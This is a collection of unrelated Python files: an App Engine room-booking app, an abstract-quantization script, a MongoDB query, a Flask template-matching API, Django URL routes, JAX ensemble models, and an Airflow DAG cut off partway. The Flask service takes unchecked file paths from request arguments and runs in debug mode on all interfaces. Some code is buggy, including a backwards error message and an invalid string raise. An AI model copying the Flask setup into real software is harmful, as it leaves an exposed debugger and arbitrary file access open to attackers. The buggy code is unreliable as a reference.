import webapp2
import jinja2
import os
import datetime
from google.appengine.api import users
from google.appengine.ext import ndb
from model import RoomModel, BookingModel

JINJA_ENVIRONMENT = jinja2.Environment(
    loader=jinja2.FileSystemLoader(os.path.dirname(__file__)),
    extensions=['jinja2.ext.autoescape'],
    autoescape=True
)

class AddRoom(webapp2.RequestHandler):  # Add room class handles for addition of room
    def get(self):
        self.response.headers['Content-Type'] = 'text/html'
        user = users.get_current_user()

        if user:
            main_header = 'Please Add Room Information Below'
            login_logout = 'Logout'
            login_logout_url = users.create_logout_url(self.request.uri)

        else:
            main_header = 'Please Login to Access This Page..!!'
            login_logout = 'Login'
            login_logout_url = users.create_login_url(self.request.uri)

        template_values = {
            'main_header': main_header,
            'login_logout': login_logout,
            'login_logout_url': login_logout_url,
            'user': user
        }
        template = JINJA_ENVIRONMENT.get_template('addRoom.html')
        self.response.write(template.render(template_values))

    def post(self):  # Handles addition of data into ndb
        print("Post method of booking")
        self.response.headers['Content-Type'] = 'text/html'
        user = users.get_current_user()
        error_message = ''

        if user:
            main_header = 'Please Add Room Information Below'
            login_logout = 'Logout'
            login_logout_url = users.create_logout_url(self.request.uri)
            user_given_room_name = self.request.get("room_name")
            my_model_key = ndb.Key('RoomModel', user_given_room_name)
            my_room = my_model_key.get()
            if my_room:  # Validating if the room is already present
                error_message = 'Room Already exists ! Please use add booking option for booking'
            else:
                my_room = RoomModel(id=user_given_room_name)
                my_room.roomName = user_given_room_name
                my_room.createdBy = user.email()
                my_room.put()
                self.redirect('/')

        else:
            main_header = 'Please Login to Access This Page..!!'
            login_logout = 'Login'
            login_logout_url = users.create_login_url(self.request.uri)
        template_values = {
            'main_header': main_header,
            'login_logout': login_logout,
            'login_logout_url': login_logout_url,
            'user': user,
            'error_message': error_message
        }
        template = JINJA_ENVIRONMENT.get_template('addRoom.html')
        self.response.write(template.render(template_values))

class AddBooking(webapp2.RequestHandler):  # Handles add booking

    def post(self):
        self.response.headers['Content-Type'] = 'text/html'
        user = users.get_current_user()
        error_message = ''
        user_given_room_name = self.request.get("room_name")

        if user:
            main_header = 'Please Add Room Information Below'
            login_logout = 'Logout'
            login_logout_url = users.create_logout_url(self.request.uri)

            page_id = self.request.get("page_id")
            if page_id == "addBooking":
                user_given_room_name = self.request.get("room_name")
                user_room_key = ndb.Key('RoomModel', user_given_room_name)
                room_ndb_object = user_room_key.get()
                existing_bookings = room_ndb_object.booking
                date_time_format = "%Y-%m-%dT%H:%M"
                # Read user inputs
                new_start_date = self.request.get("startDate")
                new_start_time = self.request.get("startTime")
                new_end_date = self.request.get("endDate")
                new_end_time = self.request.get("endTime")
                new_booking_id = self.request.get("bookingId")
                # Convert user input to date format
                new_start_date_time = datetime.datetime.strptime(new_start_date + "T" + new_start_time,
                                                                 date_time_format)
                new_end_date_time = datetime.datetime.strptime(new_end_date+"T"+new_end_time, date_time_format)
                add_booking_flag = True
                print(new_start_date_time)
                print(new_end_date_time)
                if new_start_date_time >= new_end_date_time:  # Check for start date and time
                    add_booking_flag = False
                    error_message = "Start Time should always be greater than End Time"
                if add_booking_flag and (new_start_date_time < datetime.datetime.now()):  # Check for past Bookings
                    add_booking_flag = False
                    error_message = "No past bookings allowed. Current time is : {0} GMT(No daylight savings)".format(
                        datetime.datetime.now().strftime("%Y-%m-%d  %H:%M"))
                # Check for add_booking_flag which will be false if any of above conditions are true.!
                if add_booking_flag is True:
                    for each_booking in existing_bookings:
                        existing_start_date_time = each_booking.startTime
                        existing_end_date_time = each_booking.endTime
                        existing_booking_id = each_booking.bookingId
                        if existing_booking_id == new_booking_id:
                            add_booking_flag = False
                            error_message = "Please select unique Booking id. Booking already exists"
                            break
                        if new_start_date_time <= existing_end_date_time and \
                                new_end_date_time >= existing_start_date_time:
                            add_booking_flag = False
                            error_message = "Booking Overlaps, " \
                                            "Please view bookings and make new non-overlapping booking"
                            break
                if add_booking_flag:  # Checks if the booking has passed all the checks,
                    # if yes, will be persisted to ndb
                    new_booking = BookingModel(startTime=new_start_date_time,
                                               endTime=new_end_date_time,
                                               bookingId=new_booking_id,
                                               userCreated=user.email()
                                               )  # type: BookingModel
                    room_ndb_object.booking.append(new_booking)
                    room_ndb_object.put()
                    self.redirect('/')

        else:
            main_header = 'Please Login to Access This Page..!!'
            login_logout = 'Login'
            login_logout_url = users.create_login_url(self.request.uri)
        template_values = {
            'main_header': main_header,
            'login_logout': login_logout,
            'login_logout_url': login_logout_url,
            'user': user,
            'error_message': error_message,
            'room_name': user_given_room_name
        }
        template = JINJA_ENVIRONMENT.get_template('addBooking.html')
        self.response.write(template.render(template_values))


import numpy as np
import pandas as pd
import sys
import os
import logging
import math

NUMBER_CHAR = 1000

def get_logger(name):
    _log_format = f"%(asctime)s - [%(levelname)s] - %(name)s - (%(filename)s).%(funcName)s(%(lineno)d) - %(message)s"

    def get_file_handler():
        file_handler = logging.FileHandler("x.log")
        file_handler.setLevel(logging.WARNING)
        file_handler.setFormatter(logging.Formatter(_log_format))
        return file_handler

    def get_stream_handler():
        stream_handler = logging.StreamHandler()
        stream_handler.setLevel(logging.INFO)
        stream_handler.setFormatter(logging.Formatter(_log_format))
        return stream_handler

    def_logger = logging.getLogger(name)
    def_logger.setLevel(logging.INFO)
    #def_logger.addHandler(get_file_handler())
    def_logger.addHandler(get_stream_handler())
    return def_logger

def get_names():
    names = {
        'input_test_file': root_dir + "dissertation_test.csv",
        'input_file': root_dir + "dissertation.csv",
        'all_set_char_file': root_dir + "all_set_char.txt",
        'dict_oecds_file': root_dir + "dict_oecds.csv"
    }
    return names

def get_column(input_file, column):
    df = pd.read_csv(input_file)
    return df[column]

def show_plot(distribution):
    import matplotlib.pyplot as plt

    fig, ax = plt.subplots()
    fig.canvas.set_window_title('Диаграмма количества ключевых слов')
    ax.bar(distribution.keys(), distribution.values())

    ax.set_facecolor('seashell')
    fig.set_facecolor('floralwhite')
    fig.set_figwidth(12)  # ширина Figure
    fig.set_figheight(6)  # высота Figure
    ax.set_xlabel('Длинна текста')
    ax.set_ylabel('Частота использования ключевых слов')

    plt.show()

def len_split(x) -> int:
    try:
        return len(x.split(sep=', '))#chr(0x1f)))

    except AttributeError:
        return 0

def show_distribution(df_abstract, operatinon=len):
    distribution = {}
    for i, text in enumerate(df_abstract):
        try:
            l = operatinon(text)
        except TypeError:
            print(i, text)
        if l in distribution:
            distribution[l] += 1
        else:
            distribution[l] = 1

    print(max(distribution.keys()))
    print(distribution)
    show_plot(distribution)

def create_char_dict(set_char_filename, df_abstract):
    all_set_char = set()
    print(len(df_abstract))
    for text in df_abstract:
        try:
            all_set_char = all_set_char.union(set(text))
            # all_set_char = all_set_char.union(set(text.split()))
        except TypeError:
            continue
        except AttributeError:
            continue

    all_set_char = sorted(list(set(str(all_set_char).lower())))
    str_char = ''
    for char in all_set_char:
        str_char += f'{ord(char)} - ' + char + '\n' #chr(0x1f)
    #str_char = str_char[:-1]
    with open(set_char_filename, 'w') as f:
        f.write(str_char)
    # print(all_set_char)
    # print(f"len(all_set_char): {len(all_set_char)}")
    return all_set_char

def prepare_data(tuple_char, abstract):
    """
    Create list with index char in tuple_char.
    :param tuple_char:
    :param abstract:
    :return: indexes
    """
    indexes = []
    try:
        for char in abstract.lower():
            try:
                ind = tuple_char[0].index(char)
            except ValueError:
                if char in tuple_char[1]:
                    ind = len(tuple_char)
                elif char in tuple_char[2]:
                    ind = len(tuple_char) + 1
                else:
                    # logger.info(f'special symbol: {char}')
                    ind = None
            indexes.append(ind)
    except AttributeError :
        logger.warning(f'NaN in abstract: {abstract}')
        pass

    if len(indexes) > NUMBER_CHAR:
        indexes = indexes[:1000]
    # print(indexes)
    # print(len(indexes))
    return indexes

def quantization_abstract(indexes, tuple_char):
    quantum_abstract = np.zeros((NUMBER_CHAR, (len(tuple_char[0]) + len(tuple_char) - 1)), bool)
    for i, ind in enumerate(indexes):
        if ind:
            quantum_abstract[i][ind] = True
    return quantum_abstract

def quantization_oecds(oecds, dict_oecds):
    quantum_oecds = np.zeros(len(dict_oecds), bool)
    try:
        splited_oecds = oecds.split(sep=', ')
        for oecd in splited_oecds:
            quantum_oecds[dict_oecds[oecd.lower()]] = True
    except AttributeError:
        logger.warning(f'NaN in oecds')
        raise(f'NaN in oecds')
    return quantum_oecds

def get_tuple_char():
    """
    Tuple_char is tuple ((alphabetical), (upper), (lower), (latin))
    alphabetical - is real index. (tuple_char.index(char))
    (upper), (lower), (latin) - len(tuple_char), len(tuple_char) + 1,len(tuple_char) + 2.
    :return:
    """
    tuple_char = (
        (' ', '!', '"', '#', '$', '%', '&', "'", '(', ')', '*', '+', ',', '-', '.', '/',
        '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', ';', '<', '=', '>',
        '?', '@', '[', '\\', ']', '^', '_', '`',
        'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o',
        'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',
        '{', '|', '}', '~',
        'а', 'б', 'в', 'г', 'д', 'е', 'ж', 'з', 'и', 'й', 'к', 'л', 'м', 'н', 'о',
        'п', 'р', 'с', 'т', 'у', 'ф', 'х', 'ц', 'ч', 'ш', 'щ', 'ъ', 'ы', 'ь', 'э',
        'ю', 'я', 'ё'),
        ('⁰', '¹', '²', '³', '⁴', '⁵', '⁶', '⁷', '⁸', '⁹', '⁺', '⁻', '⁼', '⁽', '⁾', 'ⁿ'),
        ('₀', '₁', '₂', '₃', '₄', '₅', '₆', '₇', '₈', '₉', '₊', '₋', '₌', '₍', '₎', 'ₒ', 'ₓ', 'ₙ'),
        ('α', 'β', 'γ', 'δ', 'ε', 'ζ', 'η', 'θ', 'ι', 'κ', 'λ', 'μ', 'ν', 'ξ', 'ο',
         'π', 'ρ', 'ς', 'σ', 'τ', 'φ', 'χ', 'ψ', 'ω')
    )

    return tuple_char

def create_dict_oecds(df_oecds, dict_oecds_file):
    list_oecd = []
    for oecds in df_oecds:
        #print(oecds)
        try:
            splited_oecds = oecds.split(sep=', ')
            for oecd in splited_oecds:
                list_oecd.append(oecd.lower())
        except AttributeError:
            logger.warning(f'NaN in oecds')

    list_oecd = sorted(list(set(list_oecd)))
    print(list_oecd)
    print(len(list_oecd))

    df_dict_oecds = pd.DataFrame()
    df_dict_oecds.index.name = 'index'
    df_dict_oecds['uniq_oecds'] = list_oecd
    df_dict_oecds.to_csv(dict_oecds_file)
    logger.info(f"Done!")
    dict_oecds = {}
    for i, oecd in enumerate(list_oecd):
        dict_oecds[oecd] = i
    return dict_oecds

def main():
    names = get_names()
    # df_abstract_oecds = get_column(names['input_test_file'], ['abstract', 'oecds.0'])
    df_abstract_oecds = get_column(names['input_file'], ['abstract', 'oecds.0'])
    # show_distribution(df_abstract)
    #all_set_char = create_char_dict(names['all_set_char_file'], df_abstract)
    tuple_char = get_tuple_char()
    quantum_abstracts = []
    quantum_oecds = []
    len_df_abstract = len(df_abstract_oecds['abstract'])
    dict_oecds = create_dict_oecds(df_abstract_oecds['oecds.0'], names['dict_oecds_file'])
    #get_oecds_tokinizer(df_abstract_oecds['oecds.0'])
    for i, (abstract, oecds) in enumerate(zip(df_abstract_oecds['abstract'], df_abstract_oecds['oecds.0'])):

        if i%1000 == 0:
            print(f'{i}/{len_df_abstract}')

        if abstract is np.NaN or oecds is np.NaN:
            # list_keyword.append(np.NaN)
            continue

        indexes = prepare_data(tuple_char, abstract)
        quantum_abstracts.append(quantization_abstract(indexes, tuple_char))
        quantum_oecds.append(quantization_oecds(oecds, dict_oecds))
        #sys.exit()

    # df_oecds = get_column(input_file, 'oecds.0')
    # show_distribution(df_oecds, len_split)

if __name__ == '__main__':
    root_dir = os.path.split(sys.argv[0])[0] + '/'
    logger = get_logger(__name__)
    main()


import pymongo
from pymongo import MongoClient
import time
import pprint

client = MongoClient('localhost', 27017)
db = client['sahamyab']
series_collection = db['tweets']

### Adding index to field
series_collection.create_index([("mediaContentType", pymongo.DESCENDING), ("parentId", pymongo.DESCENDING)])

start_time = time.time()
res = series_collection.find({
    '$and':[
              {'mediaContentType':'image/jpeg'}, {'parentId':{ '$exists': True } }
           ]}, {"senderName": 1, '_id':0})

end_time = time.time()
delta_time = end_time - start_time
print('run time:', delta_time)

lis = []
for i in res:
    lis.append(i['senderName'])
    pprint.pprint(i)

NoSQL Databases (Cassandra, MongoDB, Neo4j, Elasticsearch)/MongoDB/1000 twiits/game5_1.py


import os
import cv2
import numpy as np
from flask import Flask, request, jsonify
from src.preprocessing import segment_image, match_template

app = Flask(__name__)

@app.route("/", methods=["GET"])
def test():
    return "API Working"

@app.route("/match", methods=["GET"])
def similar_template():
    test_image_path = request.args["image_path"]
    TEMPLATE_DIR = request.args["template_folder_path"]
    template_image_file = [
        os.path.join(TEMPLATE_DIR, item) for item in os.listdir(TEMPLATE_DIR)
    ]

    image_segment = segment_image(test_image_path).compute()
    template_score = []
    template_name = []
    for template_image in template_image_file:
        template = cv2.imread(template_image)
        gray_image = cv2.cvtColor(template, cv2.COLOR_BGR2GRAY)
        cumul_point = 0
        for segment in image_segment:
            cumul_point = cumul_point + match_template(
                segment,
                gray_image).compute()
        template_score.append(cumul_point)
        template_name.append(template_image)

    output = {
        "input_filename": test_image_path,
        "template_file_name": template_name[np.argmax(template_score)],
    }
    return jsonify(output)

if __name__ == "__main__":
    app.run(debug=True, host="0.0.0.0", port=5000)


from django.urls import include, path
from rest_framework.authtoken import views
from rest_framework.routers import DefaultRouter

from api.views import (CreateUserView, FollowViewSet, IngredientViewSet,
                       RecipeViewSet, TagViewSet)

app_name = 'api'

router_v1 = DefaultRouter()
router_v1.register('users', CreateUserView, basename='users')
router_v1.register('tags', TagViewSet, basename='tags')
router_v1.register('recipes', RecipeViewSet, basename='recipes')
router_v1.register('ingredients', IngredientViewSet, basename='ingredients')

urlpatterns = [
    path('users/<users_id>/subscribe/',
         FollowViewSet.as_view({'post': 'create',
                                'delete': 'delete'}), name='subscribe'),
    path('users/subscriptions/',
         FollowViewSet.as_view({'get': 'list'}), name='subscriptions'),
    path('', include(router_v1.urls)),
    path('auth/', include('djoser.urls.authtoken')),
    path('api-token-auth/', views.obtain_auth_token),
]


from django.contrib import admin
from django.urls import path,include
from  .views import Login_View,Register_Voew,logout_view,Info_Profile,Info_Reply

app_name='user'
urlpatterns = [
    path('login/',Login_View.as_view(),name='login'),
    path('register/',Register_Voew.as_view(),name='register'),
    path('logout/',logout_view,name='logout'),
    path('user/<str:username1>/',Info_Profile.as_view(),name='infoprofile'),
    path('reply/<str:username1>/',Info_Reply.as_view(),name='inforeply'),
]


from typing import Sequence, Callable, Union
import jax.numpy as jnp
from flax import linen as nn
from jax import jit, vmap, value_and_grad
from mbse.utils.network_utils import MLP
import jax
from mbse.utils.utils import gaussian_log_likelihood, rbf_kernel
import optax
from jax.scipy.stats import norm

EPS = 1e-6

def _predict(apply_fn, params, x, sig_max, sig_min, rng=None, deterministic=False):
    forward = jax.vmap(apply_fn, (0, None))
    predictions = forward(params, x)
    mu, sig = jnp.split(predictions, 2, axis=-1)
    sig = nn.softplus(sig)
    sig = jnp.clip(sig, 0, sig_max) + sig_min
    eps = jnp.ones_like(sig) * sig_min
    sig = (1 - deterministic) * sig + deterministic * eps
    predictions = jnp.concatenate([mu, sig], axis=-1)
    return predictions

class ProbabilisticEnsembleModel(object):
    def __init__(
            self,
            example_input: jnp.ndarray,
            num_ensemble: int = 10,
            features: Sequence[int] = [256, 256],
            output_dim: int = 1,
            non_linearity: Callable = nn.swish,
            lr: float = 1e-3,
            weight_decay: float = 1e-4,
            seed: int = 0,
            sig_min: float = 1e-3,
            sig_max: float = 1e3,
            deterministic: bool = False,
            initialize_train_fn: bool = True,
    ):
        self.output_dim = output_dim
        self.mlp = MLP(
            features=features,
            output_dim=2 * output_dim,
            non_linearity=non_linearity
        )
        self.num_ensembles = num_ensemble
        # vmap init function with respect to seed sequence
        init = vmap(self.mlp.init, (0, None))
        self.net = self.mlp.apply
        self.rng = jax.random.PRNGKey(seed)
        seed_sequence = jax.random.split(self.rng, self.num_ensembles + 1)
        self.rng = seed_sequence[0]
        seed_sequence = seed_sequence[1:]
        particles = init(seed_sequence, example_input)
        self.sig_min = sig_min
        self.sig_max = sig_max
        self.optimizer = optax.adamw(learning_rate=lr,
                                     weight_decay=weight_decay)
        optimizer_state = self.optimizer.init(particles)
        self.particles = particles
        self.opt_state = optimizer_state
        self.init_particles = particles
        self.init_opt_state = optimizer_state
        self.example_input = example_input
        self._predict = jit(lambda params, x:
                            _predict(
                                apply_fn=self.net,
                                params=params,
                                x=x,
                                sig_max=self.sig_max,
                                sig_min=self.sig_min,
                                deterministic=deterministic,
                            )
                            )
        self.num_ps = 10
        if initialize_train_fn:
            self._train_step = jit(lambda params, opt_state, x, y: self._train_fn(
                predict_fn=self._predict,
                update_fn=self.optimizer.update,
                params=params,
                opt_state=opt_state,
                x=x,
                y=y,
            ))

        def calculate_calibration_score(params, xs, ys, ps, alpha):
            return self._calculate_calibration_score(
                predict_fn=self._predict,
                params=params,
                xs=xs,
                ys=ys,
                ps=ps,
                alpha=alpha,
                output_dim=self.output_dim,
            )

        self.calculate_calibration_score_fn = calculate_calibration_score

        def calibration_errors(params, xs, ys, ps, alpha):
            return self._calibration_errors(
                calibration_score_fn=self.calculate_calibration_score_fn,
                params=params,
                xs=xs,
                ys=ys,
                ps=ps,
                alpha=alpha,
                output_dim=self.output_dim,
            )

        self.calibration_errors = calibration_errors

        def calculate_calibration_alpha(params, xs, ys):
            return self._calculate_calibration_alpha(
                calibration_error_fn=self.calibration_errors,
                params=params,
                xs=xs,
                ys=ys,
                num_ps=self.num_ps,
                output_dim=self.output_dim,
            )

        self.calculate_calibration_alpha = jax.jit(calculate_calibration_alpha)

    @property
    def params(self):
        return self.particles

    def predict(self, x):
        return self._predict(self.particles, x)

    @staticmethod
    def _train_fn(predict_fn, update_fn, params, opt_state, x, y, prior_particles=None):
        likelihood = jax.vmap(gaussian_log_likelihood, in_axes=(None, 0, 0), out_axes=0)

        def likelihood_loss(model_params):
            predictions = predict_fn(model_params, x)
            mu, sig = jnp.split(predictions, 2, axis=-1)
            logl = likelihood(y, mu, sig)
            return -logl.mean()

        # vmap over ensemble
        loss, grads = value_and_grad(likelihood_loss)(params)
        updates, new_opt_state = update_fn(grads,
                                           opt_state,
                                           params=params)
        new_params = optax.apply_updates(params, updates)
        grad_norm = optax.global_norm(grads)
        return new_params, new_opt_state, loss, grad_norm

    def train_step(self, x, y):
        new_params, new_opt_state, loss, grad_norm = self._train_step(
            params=self.particles,
            opt_state=self.opt_state,
            x=x,
            y=y
        )
        self.particles = new_params
        self.opt_state = new_opt_state
        return loss, grad_norm

    @staticmethod
    def _calculate_calibration_alpha(calibration_error_fn, params, xs, ys, num_ps, output_dim) -> jax.Array:
        # We flip so that we rather take more uncertainty model than less
        ps = jnp.linspace(0, 1, num_ps + 1)[1:]
        test_alpha = jnp.flip(jnp.linspace(0, 10, 100)[1:])
        test_alphas = jnp.repeat(test_alpha[..., jnp.newaxis], repeats=output_dim, axis=1)
        errors = vmap(calibration_error_fn, in_axes=(None, None, None, None, 0))(
            params, xs, ys, ps, test_alphas)
        indices = jnp.argmin(errors, axis=0)
        best_alpha = test_alpha[indices]
        assert best_alpha.shape == (output_dim,)
        return best_alpha, jnp.diag(errors[indices])

    @staticmethod
    def _calibration_errors(calibration_score_fn, params, xs, ys, ps, alpha, output_dim) -> jax.Array:
        ps_hat = calibration_score_fn(params, xs, ys, ps, alpha)
        ps = jnp.repeat(ps[..., jnp.newaxis], repeats=output_dim, axis=1)
        return jnp.mean((ps - ps_hat) ** 2, axis=0)

    @staticmethod
    def _calculate_calibration_score(predict_fn, params, xs, ys, ps, alpha, output_dim):
        assert alpha.shape == (output_dim,)

        def calculate_score(x, y):
            predictions = predict_fn(params, x)
            mean, std = jnp.split(predictions, 2, axis=-1)
            mu = jnp.mean(mean, axis=0)
            eps_std = jnp.std(mean, axis=0)
            al_uncertainty = jnp.sqrt(jnp.mean(jnp.square(std), axis=0))
            cdfs = vmap(norm.cdf)(y, mu, eps_std * alpha + al_uncertainty)

            def check_cdf(cdf):
                assert cdf.shape == ()
                return cdf <= ps

            return vmap(check_cdf, out_axes=1)(cdfs)

        cdfs = vmap(calculate_score)(xs, ys)
        return jnp.mean(cdfs, axis=0)

class FSVGDEnsemble(ProbabilisticEnsembleModel):
    def __init__(self,
                 n_prior_particles: Union[int, None] = None,
                 prior_bandwidth: float = None,
                 k_bandwidth: float = 0.1,
                 initialize_train_fn: bool = True,
                 *args, **kwargs):
        super(FSVGDEnsemble, self).__init__(*args, **kwargs, initialize_train_fn=False)
        n_prior_particles = n_prior_particles or self.num_ensembles
        init = vmap(self.mlp.init, (0, None))
        seed_sequence = jax.random.split(self.rng, n_prior_particles + 1)
        self.rng = seed_sequence[0]
        seed_sequence = seed_sequence[1:]
        self.priors = init(seed_sequence, self.example_input)
        self.prior_bandwidth = prior_bandwidth
        self.k_bandwidth = k_bandwidth

        if initialize_train_fn:
            def train_step(
                    params,
                    opt_state,
                    x,
                    y,
                    prior_particles,
                    rng,
            ):
                return self._train_fn(predict_fn=self._predict,
                                      update_fn=self.optimizer.update,
                                      params=params,
                                      opt_state=opt_state,
                                      x=x,
                                      y=y,
                                      prior_particles=prior_particles,
                                      rng=rng,
                                      prior_bandwidth=self.prior_bandwidth,
                                      k_bandwidth=self.k_bandwidth,
                                      )

            self._train_step = jit(train_step)

    def _prior(self, prior_particles, x):
        predictions = self._predict(prior_particles, x)
        altered_predictions = predictions
        altered_predictions = altered_predictions.at[..., self.output_dim:].set(
            jnp.log(altered_predictions[..., self.output_dim:] + EPS))
        var = jax.vmap(lambda x: jnp.cov(x, rowvar=False),
                       in_axes=-1,
                       out_axes=-1)(altered_predictions)
        mean = jnp.mean(altered_predictions, axis=0)
        return mean, var

    @staticmethod
    def _train_fn(
            predict_fn,
            update_fn,
            params,
            opt_state,
            x,
            y,
            prior_particles,
            rng,
            prior_bandwidth,
            k_bandwidth
    ):
        # mean_prior, k_prior = self._prior(prior_particles, x)
        rbf = lambda z, v: rbf_kernel(z, v, bandwidth=prior_bandwidth)
        kernel = lambda x: rbf(x, x)  # K(x, x)
        k_prior = kernel(x)
        k_prior = jnp.stack([k_prior, k_prior], axis=-1)

        k_rbf = lambda z, v: rbf_kernel(z, v, bandwidth=k_bandwidth)

        def fsvgdloss(model_params):
            predictions, pred_vjp = jax.vjp(lambda p: predict_fn(p, x), model_params)
            k_pred, k_pred_vjp = jax.vjp(
                lambda x: k_rbf(x, predictions), predictions)
            grad_k = k_pred_vjp(-jnp.ones(k_pred.shape))[0]

            def neg_log_post(predictions):
                mean_pred, std_pred = jnp.split(predictions, 2, axis=-1)
                log_post = gaussian_log_likelihood(y, mean_pred, std_pred)
                return -log_post.mean()

            likelihood = lambda x, cov_x: \
                jax.scipy.stats.multivariate_normal.logpdf(x,
                                                           mean=jnp.zeros(x.shape[0]),
                                                           cov=cov_x + 1e-4 * jnp.eye(x.shape[0]))
            likelihood = jax.vmap(likelihood, in_axes=-1, out_axes=-1)

            def neg_log_prior(predictions):
                mean_pred, std_pred = jnp.split(predictions, 2, axis=-1)
                log_sigma = jnp.log(std_pred + EPS)
                altered_predictions = jnp.stack([mean_pred, log_sigma], axis=-1)
                log_prior = likelihood(altered_predictions, k_prior)
                return -log_prior.mean() / mean_pred.shape[-2]

            def neg_total_likelihood(predictions):
                log_post = neg_log_post(predictions)
                log_pior = neg_log_prior(predictions)
                return log_post + log_pior

            log_post, log_posterior_grad = jax.vmap(value_and_grad(neg_total_likelihood, 0))(predictions)
            stein_grad = (jnp.einsum('ij,jkm', k_pred, log_posterior_grad)
                          + grad_k)
            grad = pred_vjp(stein_grad)[0]
            return log_post.mean(), grad

        loss, grads = fsvgdloss(params)
        updates, new_opt_state = update_fn(grads,
                                           opt_state,
                                           params=params)
        new_params = optax.apply_updates(params, updates)
        grad_norm = optax.global_norm(grads)
        return new_params, new_opt_state, loss, grad_norm

    def train_step(self, x, y):
        self.rng, train_rng = jax.random.split(self.rng)
        new_params, new_opt_state, log_post, grad_norm = self._train_step(
            params=self.particles,
            opt_state=self.opt_state,
            x=x,
            y=y,
            prior_particles=self.priors,
            rng=train_rng
        )
        self.particles = new_params
        self.opt_state = new_opt_state
        return log_post, grad_norm

class KDEfWGDEnsemble(FSVGDEnsemble):
    def __init__(self, *args, **kwargs):
        super(KDEfWGDEnsemble, self).__init__(initialize_train_fn=True,
                                              *args,
                                              **kwargs)

    @staticmethod
    def _train_fn(
            predict_fn,
            update_fn,
            params,
            opt_state,
            x,
            y,
            prior_particles,
            rng,
            prior_bandwidth,
            k_bandwidth
    ):
        # mean_prior, k_prior = self._prior(prior_particles, x)
        rbf = lambda z, v: rbf_kernel(z, v, bandwidth=prior_bandwidth)
        kernel = lambda x: rbf(x, x)  # K(x, x)
        k_prior = kernel(x)
        k_prior = jnp.stack([k_prior, k_prior], axis=-1)

        k_rbf = lambda z, v: rbf_kernel(z, v, bandwidth=k_bandwidth)

        def kdeloss(model_params):
            predictions, pred_vjp = jax.vjp(lambda p: predict_fn(p, x), model_params)
            k_pred, k_pred_vjp = jax.vjp(
                lambda x: k_rbf(x, predictions), predictions)
            grad_k = k_pred_vjp(-jnp.ones(k_pred.shape))[0]

            def neg_log_post(predictions):
                mean_pred, std_pred = jnp.split(predictions, 2, axis=-1)
                log_post = gaussian_log_likelihood(y, mean_pred, std_pred)
                return -log_post.mean()

            likelihood = lambda x, cov_x: \
                jax.scipy.stats.multivariate_normal.logpdf(x,
                                                           mean=jnp.zeros(x.shape[0]),
                                                           cov=cov_x + 1e-4 * jnp.eye(x.shape[0]))
            likelihood = jax.vmap(likelihood, in_axes=-1, out_axes=-1)

            def neg_log_prior(predictions):
                mean_pred, std_pred = jnp.split(predictions, 2, axis=-1)
                log_sigma = jnp.log(std_pred + EPS)
                altered_predictions = jnp.stack([mean_pred, log_sigma], axis=-1)
                log_prior = likelihood(altered_predictions, k_prior)
                return -log_prior.mean() / mean_pred.shape[-2]

            def neg_total_likelihood(predictions):
                log_post = neg_log_post(predictions)
                log_pior = neg_log_prior(predictions)
                return log_post + log_pior

            log_post, log_posterior_grad = jax.vmap(value_and_grad(neg_total_likelihood, 0))(predictions)
            k_i = jnp.sum(k_pred, axis=1)
            stein_grad = log_posterior_grad + jax.vmap(lambda x, y: x / y)(grad_k, k_i)
            # stein_grad = (jnp.einsum('ij,jkm', k_pred, log_posterior_grad)
            #              + grad_k)
            grad = pred_vjp(stein_grad)[0]
            return log_post.mean(), grad

        loss, grads = kdeloss(params)
        updates, new_opt_state = update_fn(grads,
                                           opt_state,
                                           params=params)
        new_params = optax.apply_updates(params, updates)
        grad_norm = optax.global_norm(grads)
        return new_params, new_opt_state, loss, grad_norm


from datetime import datetime, timedelta
from airflow import DAG
from airflow.operators.python_operator import PythonOperator
from dag_data_processing import DataProcessing

default_args = {
    'owner': 'sychen',
    'start_date': datetime(2022, 9, 13),
    'retries': 0,
    'catchup': False,
    'retry_delay': timedelta(minutes=5),
    'execution_date': '{execution_date}',
}

dag = DAG('convert_csv_to_parquet',
          default_args=default_args,
          schedule_interval='00 23 * * *',
          )
start_read_data = PythonOperator(task_id='start_read_data',
                                         python_callable=DataProcessing.print_parquet_massage,
                                         dag=dag)

# etl  bi
parquet_operator_ProductData = PythonOperator(
    task_id='read_product_data',
    python_callable=DataProcessing.convert_csv_to_parquet_product_data,
    op_kwargs={
        "raw_path": "raw/{{ ds }}/",
        "parquet_path": "parquet_file/{{ ds }}/",
        "processed_path": "processed_parquet/{{ ds }}/"
    },
    dag=dag
)

parquet_operator_SalesOrderData = PythonOperator(
    task_id='read_sales_order_data',
    python_callable=DataProcessing.convert_csv_to_parquet_sales_order_data,
    op_kwargs={
        "raw_path": "raw/{{ ds }}/",
        "parquet_path": "parquet_file/{{ ds }}/",
        "processed_path": "processed_parquet/{{ ds }}/"
    },
    dag=dag
)

parquet_operator_customer_address = PythonOperator(
    task_id='read_customer_address',
    python_callable=DataProcessing.convert_csv_to_parquet_customer_address,
    op_kwargs={
        "raw_path": "raw/{{ ds }}/",
        "parquet_path": "parquet_file/{{ ds }}/",
        "processed_path": "processed_parquet/{{ ds }}/"
    },
    dag=dag
)

parquet_operator_address_data = PythonOperator(
    task_id='read_address_data',
    python_callable=DataProcessing.convert_csv_to_parquet_address_data,
    op_kwargs={
        "raw_path": "raw/{{ ds }}/",
        "parquet_path": "parquet_file/{{ ds }}/",
        "processed_path": "processed_parquet/{{ ds }}/"
    },
    dag=dag
)

python_operator_processing = PythonOperator(task_id='start_data_processing',
                                            python_callable=DataProcessing.print_data_processing_massage,
                                            dag=dag)

operator_sales_profit_diff_cities = PythonOperator(
    task_id='sales_profit_diff_cities',
    python_callable=DataProcessing.sales_profit_diff_cities,
    op_kwargs={
        "execution_date": "{{ ds }}",
        "raw_path": "raw/{{ ds }}/",
        "parquet_path": "parquet_file/{{ ds }}/",
        "processed_path": "processed_parquet/{{ ds }}/"
    },
    dag=dag
)

operator_total_profit_top10 = PythonOperator(
    task_id='total_profit_top10',
    python_callable=DataProcessing.total_profit_top10,
    op_kwargs={
        "execution_date": "{{ ds }}",
        "raw_path": "raw/{{ ds }}/",
        "parquet_path": "parquet_file/{{ ds }}/",
        "processed_path": "processed_parquet/{{ ds }}/"
    },
    dag=dag
)

operator_Longest_time_span = PythonOperator(
    task_id='Longest_time_span',
    python_callable=DataProcessing.Longest_time_span,
    op_kwargs={
        "execution_date": "{{ ds }}",
        "raw_path": "raw/{{ ds }}/",
        "parquet_path": "parquet_file/{{ ds }}/",
